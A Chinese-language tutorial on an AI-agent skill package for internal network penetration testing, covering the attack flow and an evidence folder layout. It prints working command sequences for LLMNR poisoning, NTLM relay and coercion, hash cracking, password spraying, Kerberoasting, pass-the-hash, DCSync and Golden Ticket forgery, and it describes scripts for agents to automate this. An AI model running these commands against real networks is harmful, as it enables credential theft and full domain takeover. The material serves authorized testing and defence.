Anthropic-Cybersecurity-Skills 实战指南:企业内部网络渗透测试的完整攻击流程与证据链工作流
2026/9/19 0:06:11 网站建设 项目流程

Anthropic-Cybersecurity-Skills 实战指南:企业内部网络渗透测试的完整攻击流程与证据链工作流

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本篇文章以 Anthropic-Cybersecurity-Skills 仓库中conducting-internal-network-penetration-test技能的 workflows.md 为核心骨架,系统拆解内部网络渗透测试的攻击流程(Attack Flow)证据收集工作流(Evidence Collection Workflow)。通过结合该技能包内的 SKILL.md 五阶段操作手册、api-reference.md 工具参考、standards.md 标准映射以及 process.py 自动化脚本源码,读者将掌握一条从「已攻破内网」位置出发、覆盖网络发现、凭据攻击、横向移动、提权到影响演示与报告的完整作战链路,以及一套可直接复制的证据归档目录结构。

一、Workflows 文档定位:攻击流程与证据链的蓝图

conducting-internal-network-penetration-test技能包中,workflows.md 扮演的是「作战蓝图」角色,与其余文件形成互补关系:

文件角色相对路径
SKILL.md五阶段完整操作手册(命令级)SKILL.md
workflows.md攻击流程总览 + 证据收集目录结构workflows.md
api-reference.md库、命令、检测事件 ID 速查api-reference.md
standards.mdPTES / MITRE ATT&CK / 合规要求映射standards.md
assets/template.md报告输出模板template.md
scripts/process.py自动化编排脚本process.py
scripts/agent.pyAgent 化探测脚本agent.py

Workflows 文档虽然篇幅精炼,但它把整个测试从头到尾压成两条可执行的骨架:攻击流程(六阶段递进)证据收集工作流(五类证据归档)。下文将以此为纲,逐一展开并结合仓库源码深化。

二、攻击流程总览:六阶段递进式作战地图

workflows.md 给出的攻击流程是一个典型的「假设失陷(Assumed Breach)」模型:

Network Access (Ethernet/VPN) │ ├── Network Discovery (Nmap, ARP scan) │ ├── Credential Capture (Responder, mitm6) │ │ │ └── Hash Cracking (Hashcat) │ ├── AD Enumeration (BloodHound, LDAP) │ │ │ ├── Kerberoasting │ ├── AS-REP Roasting │ └── GPP Password Extraction │ ├── Lateral Movement (PsExec, WMI, WinRM) │ │ │ └── Credential Harvesting (Mimikatz, LSASS dump) │ ├── Privilege Escalation │ │ │ ├── Local (unquoted paths, token impersonation) │ └── Domain (DCSync, Golden Ticket, ADCS) │ └── Impact Demonstration ├── Sensitive data access ├── Domain compromise proof └── Attack path documentation

该流程图在 SKILL.md 中被展开为五个可操作的 Phase。以下按阶段逐一拆解。

Phase 1 — 网络发现与枚举(Network Discovery and Enumeration)

核心目标:确认测试者的网络位置,圈定存活主机与开放服务。

# 确认自身网络位置 ip addr show ip route show cat /etc/resolv.conf # ARP 扫描本地子网存活主机 arp-scan --localnet --interface eth0 # Nmap 主机发现(覆盖三大内网网段) nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap # 从 grepable 输出中提取存活主机 grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt # 存活主机全端口服务探测(前 1000 端口) nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan # 按服务分类的针对性扫描 nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap

源码印证:仓库中的自动化脚本 process.py 将这一阶段完全脚本化。其discover_hosts()函数(L34-L57)执行nmap -sn <subnet> -oA主机发现,并直接解析.gnmap文件中的"Status: Up"行生成live_hosts.txt——这与上面手工命令的 awk 提取逻辑一一对应。随后port_scan()(L60-L71)对存活主机执行nmap -sS -sV -T4 --top-ports 1000,即上述手工全端口探测的自动化版本。更细节的是 agent.py 的run_nmap_scan()(L14-L29)预置了三种扫描档位:quick-sV -sC --top-ports 100 -T4)、full-sV -sC -p- -T3)、stealth-sS -Pn -T2 --top-ports 1000),供不同噪声容忍度场景选用。

AD 枚举:BloodHound 与 LDAP

# NetExec 批量枚举共享/用户/组 netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups # LDAP 枚举用户及其所属组 ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \ -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf # GPP 密码与 LSA 机密提取 netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa # BloodHound 数据采集(导入 GUI 做攻击路径分析) bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all # 传统枚举工具 enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'

源码印证:这一环节在仓库中至少有三处自动化佐证:

  1. process.py 的run_bloodhound_collection()(L122-L139)执行bloodhound-python -c all --output-prefix,即 SKILL.md 中 BloodHound 采集的完整封装;
  2. process.py 的enumerate_smb_shares()(L74-L94)逐主机执行netexec smb --shares并将结果以 JSON 落盘;
  3. agent.py 的enumerate_ad_info()(L60-L76)使用ldap3库直连 DC:先查询(objectClass=computer)收集主机清单,再查询(&(objectClass=user)(adminCount=1))定位高权限管理账户——这一「先找资产、再找管理账户」的顺序正是为后续横向移动与提权铺路。

工具速查(来自 api-reference.md):

库/工具安装/命令用途
ldap3pip install ldap3LDAP 查询做 AD 枚举
impacketpip install impacketSMB 中继、凭据转储、横向移动全套工具
python-nmappip install python-nmapnmap 扫描的 Python 封装
nmapnmap -sV -sC --top-ports 1000 <target>服务版本与脚本扫描

服务枚举要点

SKILL.md 还覆盖了 SMB 共享(smbclient -L/smbmap -R)、SNMP(snmpwalk -v2c -c public)、DNS 区域传送(dig axfr corp.local)、NFS 导出(showmount -e)与 MSSQL 枚举(impacket-mssqlclient -windows-auth)。其中 SNMP、区域传送、NFS 均可作为未认证场景下的快速突破口,在真实测试中优先执行。

三、凭据攻击阶段:从「抓取」到「破解」

workflows.md 将 Credential Capture 与 Hash Cracking 画成一条递进支线,SKILL.md 的 Phase 2 将其落地为两条路径:网络层凭据抓取离线口令攻击

网络凭据抓取(LLMNR/NBT-NS/mDNS 投毒与中继)

# Responder 投毒(LLMNR/NBT-NS/mDNS) sudo responder -I eth0 -dwPv # 查看捕获的 NTLMv2 哈希 cat /usr/share/responder/logs/NTLMv2-*.txt # mitm6 — IPv6 DNS 接管 sudo mitm6 -d corp.local # ntlmrelayx — 中继捕获的凭据(-socks 建立持续会话) impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks # PetitPotam — 强制触发 NTLM 认证 python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \ attacker_ip 10.0.0.5

源码印证:SMB 中继攻击是否可行,取决于目标是否强制 SMB 签名。仓库对此做了双重检测实现:

  • agent.py 的check_smb_signing()(L32-L45)用nmap --script smb2-security-mode -p 445探测,若返回"not required"即判定vulnerable_to_relay: True,并给出HIGH严重级别——与 api-reference.md 中「SMB signing disabled → NTLM relay attacks → CVSS 7.5」的条目完全对应;
  • process.py 的check_smb_signing()(L97-L119)则通过netexec smb --gen-relay-list直接产出relay_targets.txt(即 ntlmrelayx 的-tf目标清单输入),并统计signing:False主机数。

口令攻击(离线破解与在线喷洒)

# 破解 NTLMv2 哈希(hashcat 模式 5600) hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # 密码喷洒(务必注意账户锁定策略) netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce # Kerberoasting — 攻击服务账户 SPN impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \ -outputfile kerberoast_hashes.txt hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # AS-REP Roasting — 攻击未启用预认证的账户 impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \ -outputfile asrep_hashes.txt hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

关键参数说明

  • hashcat -m 5600= NetNTLMv2(Responder 捕获的哈希);-m 13100= Kerberoast(TGS-REP);-m 18200= AS-REP Roast。三者哈希格式不同,必须选对模式;
  • --no-bruteforce确保喷洒时每个用户只尝试一次该密码,规避锁定策略;喷洒前可先用netexec --pass-pol获取域密码策略(process.py 的check_password_policy()L142-L152 即封装此调用)。

四、横向移动与提权:放大失陷半径

workflows.md 在 Lateral Movement 支线标注了 PsExec / WMI / WinRM 三种通道,并向下挂出 Credential Harvesting(Mimikatz、LSASS dump);Privilege Escalation 支线则区分了本地(unquoted paths、token impersonation)与域级(DCSync、Golden Ticket、ADCS)两类手段。

横向移动命令集

# Pass-the-Hash(哈希直传,无需明文密码) impacket-psexec 'corp.local/admin@10.0.0.30' \ -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b # WMI 执行(非交互、留痕相对少) impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30' # Evil-WinRM — PowerShell 远程会话 evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123' # SMBExec impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30' # RDP xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution # SSH 动态隧道 + proxychains 打穿内网 ssh -D 9050 user@10.0.0.40 proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24

本地提权检查

# Meterpreter 会话内提权 meterpreter> getsystem meterpreter> run post/multi/recon/local_exploit_suggester # PowerUp(PowerShell 提权审计) powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" # 未加引号的服务路径检查 wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """ # Linux 侧(LinPEAS + 传统检查) ./linpeas.sh sudo -l find / -perm -4000 -type f 2>/dev/null cat /etc/crontab

域级提权(终点站)

# DCSync(需复制权限)— 域内全部哈希 impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc # Golden Ticket(krbtgt 哈希) impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \ -domain corp.local administrator # Silver Ticket(服务账户哈希,定向伪造服务票据) impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \ -domain corp.local -spn MSSQL/db01.corp.local administrator # ADCS 利用(Certifried / ESC1-ESC8) certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \ -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local

框架映射(来自 standards.md):上述攻击手段在 MITRE ATT&CK 中分别对应 Lateral Movement 的 T1021.002 与 T1550.002(Pass the Hash)、Credential Access 的 T1003(OS Credential Dumping)、Privilege Escalation 的 T1484(Domain Policy Modification)。在仓库的 attack-navigator-layer.json 中,conducting-internal-network-penetration-test也被挂载到多个技战术节点(如 T1046、T1210 等),说明该技能与项目整体的 MITRE ATT&CK 覆盖矩阵存在直接映射关系。

五、影响演示阶段:只证明、不破坏

# 访问敏感共享(演示性读取) smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123' > dir > get Q4_Financial_Report.xlsx # 数据库访问 impacket-mssqlclient 'sa:DbPassword123@10.0.0.20' SQL> SELECT name FROM sys.databases; SQL> SELECT TOP 10 * FROM customers; # 写入证明文件(严禁外泄真实数据) echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt # 记录完整访问链 # Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01 # -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise

这里必须强调两个红线:影响演示只读取最小必要数据以证明访问能力,绝不批量外泄真实数据;攻击链记录要逐步对应到 MITRE 技战术 ID,为报告提供可追溯证据。

六、证据收集工作流:结构化的证据归档

workflows.md 的第二部分给出了完整的证据目录结构,这是把「测试过程」变成「可辩护报告」的关键:

evidence/ ├── credentials/ │ ├── responder_captures/ │ ├── cracked_hashes/ │ └── dumped_creds/ ├── screenshots/ ├── bloodhound/ │ └── domain_data.json ├── scan_results/ │ ├── nmap/ │ └── shares/ └── attack_paths/ └── path_documentation.md

各目录的证据内容与对应来源

目录存放内容对应阶段/工具
credentials/responder_captures/Responder 捕获的 NTLMv2 哈希原始日志Phase 2,/usr/share/responder/logs/NTLMv2-*.txt
credentials/cracked_hashes/hashcat 破解出的明文口令及模式Phase 2,hashcat -m 5600/13100/18200
credentials/dumped_creds/Mimikatz / secretsdump 转储的凭据Phase 3/4
screenshots/关键操作界面与证明文件截图全过程
bloodhound/domain_data.jsonBloodHound 采集的域关系数据Phase 1,bloodhound-python -c all
scan_results/nmap/nmap 的.gnmap/.xml/.nmap输出Phase 1,-oA三件套
scan_results/shares/共享枚举结果Phase 1/4,netexec --shares/smbmap
attack_paths/path_documentation.md攻击路径文字化记录Phase 5

源码印证:这个目录蓝图在自动化脚本中有对应落地。process.py 默认将全部产出写入--output指定目录(默认./results),并生成了与之对齐的文件命名:host_discovery.gnmap(对应scan_results/nmap/)、smb_shares.json(对应scan_results/shares/)、bloodhound*.json(对应bloodhound/)、internal_pentest_report.md(对应attack_paths/的报告汇总)。也就是说,用脚本跑完一轮,输出目录天然就是一份结构化的证据包。

报告与证据的组织

template.md 提供了报告正文骨架:Document Control(客户、测试类型、访问模型、周期、密级)→ Executive Summary(范围、关键发现统计、攻击路径摘要)→ Technical Findings(每条发现含 Severity / CVSS v3.1 / MITRE ATT&CK / 受影响资产 / 复现步骤 / 证据 / 修复建议)→ Recommendations Priority(P1-P4 优先级与时间线)。每个「发现」条目的Evidence 字段应直接引用上面 evidence/ 目录中的具体文件。

七、发现分级与修复建议矩阵

workflows.md 的攻击流程终点是「Attack path documentation」,SKILL.md 的 Phase 5 给出了两类可直接复用的输出模板。

攻击路径文档示例

Attack Path 1: Domain Compromise via LLMNR Poisoning Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001) Step 2: Hash cracked offline — user: jsmith, password: Welcome2025! Step 3: jsmith had local admin on WS042 — lateral movement via PsExec (T1021.002) Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001) Step 5: DCSync with DA credentials — all domain hashes extracted (T1003.006) Impact: Complete domain compromise from unauthenticated network position

每一步都同时记录技术动作 + MITRE ATT&CK 编号,这正是 workflows.md 中「Impact Demonstration → Attack path documentation」环节的标准呈现方式。

发现严重度矩阵

FindingCVSSMITRE ATT&CKRemediation
LLMNR/NBT-NS poisoning8.1T1557.001通过 GPO 禁用 LLMNR/NBT-NS
Kerberoastable service accounts7.5T1558.003使用 gMSA,密码 25+ 字符
Local admin reuse8.4T1078部署 LAPS,本地管理员密码唯一化
Weak domain passwords7.2T1110强制 14+ 字符,黑名单拦截常见密码
Unrestricted DCSync9.8T1003.006审计复制权限,实施分层管理模型

源码印证:上述修复建议并非凭空而来。process.py 的generate_report()(L155-L190)在自动生成的internal_pentest_report.md中内置了完全一致的六条 Recommendations:启用 SMB 签名、禁用 LLMNR/NBT-NS、部署 LAPS、分层管理模型、强密码策略(14+ 字符)、使用 gMSA。这意味着自动化报告与人工报告的结论口径保持统一。

八、检测侧视角:蓝队应关注的 Event ID

作为对攻击流程的反向映射,api-reference.md 给出了四条关键 Windows 安全事件,测试团队在获得授权后可主动要求 SOC 侧开启监控,也便于双方在同一批日志上对齐证据:

Event ID描述对应攻击阶段
4625登录失败(暴力破解指标)密码喷洒
4648显式凭据登录横向移动(PsExec/WMI 等)
4768Kerberos TGT 请求预认证相关攻击
4769Kerberos 服务票据请求Kerberoasting

九、标准与合规映射

standards.md 将本技能绑定到主流框架与合规要求:

  • 方法论框架:PTES、OSSTMM v3、NIST SP 800-115、MITRE ATT&CK Enterprise;
  • 核心 ATT&CK 技术:T1046(网络服务发现)、T1557.001(LLMNR/NBT-NS 投毒)、T1558.003(Kerberoasting)、T1003(凭据转储)、T1021.002(SMB 远程服务)、T1550.002(Pass the Hash)、T1484(域策略修改)、T1039(网络共享数据收集);
  • 合规触发点:PCI DSS v4.0 要求 11.4.2(每年内部渗透测试)、ISO 27001 A.18.2.3(技术符合性评审)、SOC 2 CC7.1(检测与监控)、NIST CSF PR.IP-12 / DE.CM。

同时,技能自身的 frontmatter(见 SKILL.md L19-L34)声明了 D3FEND 技术(如 Application Protocol Command Analysis、Network Traffic Analysis)与 NIST CSF 控制项(ID.RA-01、ID.RA-06、GV.OV-02、DE.AE-07),使其能够被依赖框架映射的 Agent 与 SIEM 工作流直接消费。

十、自动化落地:一条命令跑完核心流程

workflows.md 的蓝图最终可以收敛到仓库提供的两条自动化路径:

路径 A:流程编排(推荐用于完整测试周期)

python skills/conducting-internal-network-penetration-test/scripts/process.py \ --subnet 10.0.0.0/24 \ --domain corp.local \ --dc-ip 10.0.0.5 \ --username testuser \ --password 'Password123' \ --output ./results

脚本按「主机发现 → 端口扫描 → SMB 签名检查 → 共享枚举 → BloodHound 采集 → 密码策略 → 报告生成」顺序编排(main()L193-L228),与 workflows.md 的 Attack Flow 完全同构;未提供凭据时自动跳过 AD 相关环节,仅做未认证视角的扫描与检查。

路径 B:Agent 化快速探测(适用于单目标初筛)

python skills/conducting-internal-network-penetration-test/scripts/agent.py \ --target 10.0.0.30 \ --dc-ip 10.0.0.5 --domain corp.local \ --username testuser --password 'Password123' \ --output report.json

agent.py 的run_pentest()(L96-L126)依次输出开放端口、SMB 签名状态、LLMNR/NBT-NS 风险与 AD 枚举结果,以 JSON 落盘——适合作为内网渗透的「侦察前置」或交给 LLM Agent 编排成更大规模的扫描任务。

结语

从 workflows.md 的两张蓝图出发,本技能包实际交付了一条完整可执行的内部网络渗透测试链路:网络发现定位资产 → 凭据抓取与破解 → AD 深挖 → 横向移动与提权 → 影响演示 → 结构化证据与报告。无论是手工执行 SKILL.md 中的命令序列,还是调用 process.py / agent.py 实现自动化,其流程骨架与证据归档规范都是同一套标准——这正是该技能在 AI Agent 安全测试场景下可复现、可审计的核心价值。请务必仅在获得书面授权的范围内开展测试,所有操作以 SKILL.md 中的法律声明为前提。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询